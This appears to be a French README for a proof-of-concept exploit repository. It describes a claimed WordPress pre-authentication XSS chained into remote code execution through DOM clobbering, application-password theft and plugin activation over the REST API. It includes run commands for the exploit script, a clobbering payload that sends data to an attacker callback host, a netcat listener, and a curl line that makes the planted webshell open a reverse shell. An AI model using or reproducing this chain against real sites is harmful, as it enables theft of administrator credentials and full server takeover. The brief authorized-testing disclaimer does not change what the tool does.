
CVE-2026-64638 — XSS réfléchi WordPress pré-authentification → RCE via DOM Clobbering + vol de mot de passe d'application + activation de plugin via l'API REST. PoC à double mode (chaîne XSS & direct).
XSS réfléchi pré-authentification WordPress → Chaîne d'exécution de code à distance
DOM Clobbering + Vol de mot de passe d'application + Activation de plugin via l'API REST = RCE complet
CVE-2026-64638 est une XSS réfléchi avant authentification critique dans wp-login.php de WordPress. La vulnérabilité existe car le message d'erreur de connexion reflète le nom d'utilisateur soumis sans encodage HTML approprié, permettant un DOM Clobbering via <area id=ajaxurl> pour contourner la plupart des filtres.
Lorsqu'elle est chaînée avec la fonctionnalité de mot de passe d'application de WordPress, cette XSS devient un vecteur de RCE complet — aucune interaction de l'utilisateur au-delà de la visite d'une page déclencheuse conçue à cet effet alors qu'il est connecté.
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| Version | Statut | Notes |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ Vulnérable | Images Docker antérieures au backport toujours exploitables |
| WordPress 6.9.6+ | ⚠️ Corrigé (backport du 7 août 2026) | Les images Docker reconstruites après le 7 août contiennent le correctif |
| WordPress 7.0.x | ✅ Vulnérable | Confirmé sur 7.0.2 |
| WordPress 7.1+ | ❓ Inconnu | Non testé |
pip3 install requests
C'est tout. La bibliothèque standard de Python 3.8+ suffit pour le reste.
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
La victime doit être connectée à WordPress en tant qu'administrateur. La page déclencheuse :
wp-login.php via un iframe cachéauthorize-application.php pour que la victime approuvepython3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
Connexion directe → téléversement du plugin → webshell instantané. Aucune XSS requise.
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
Ou manuellement via le webshell :
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
Pourquoi ça fonctionne :
sanitize_user() de WordPress supprime les balises HTML standard mais laisse passer <area> avec un espace initial<area id=ajaxurl> réalise un DOM Clobbering — elle détourne window.ajaxurl utilisé par le JavaScript de wp-adminwp_auth_check se déclenche et la XSS redirige la victime vers authorize-application.phpsuccess_url envoie le mot de passe généré au serveur de callback de l'attaquantUne fois le mot de passe d'application capturé :
/wp-json/wp/v2/POST /wp-json/wp/v2/plugins/{slug} avec {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT lance /bin/sh -i vers l'attaquant| Cible | Version | Mode | Résultat |
|---|---|---|---|
| Docker (local) | WordPress 7.0.2 | Chaîne XSS | ✅ RCE en tant que www-data |
| Docker (local) | WordPress 7.0.2 | Direct | ✅ RCE en tant que www-data |
| Docker (local) | WordPress 6.7 | Chaîne XSS | ✅ RCE en tant que www-data |
Cet outil est destiné uniquement aux tests de sécurité autorisés et à la recherche. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. Obtenez toujours une autorisation écrite avant de tester.
"Pas d'exploit, pas de rapport." — Méthodologie Shannon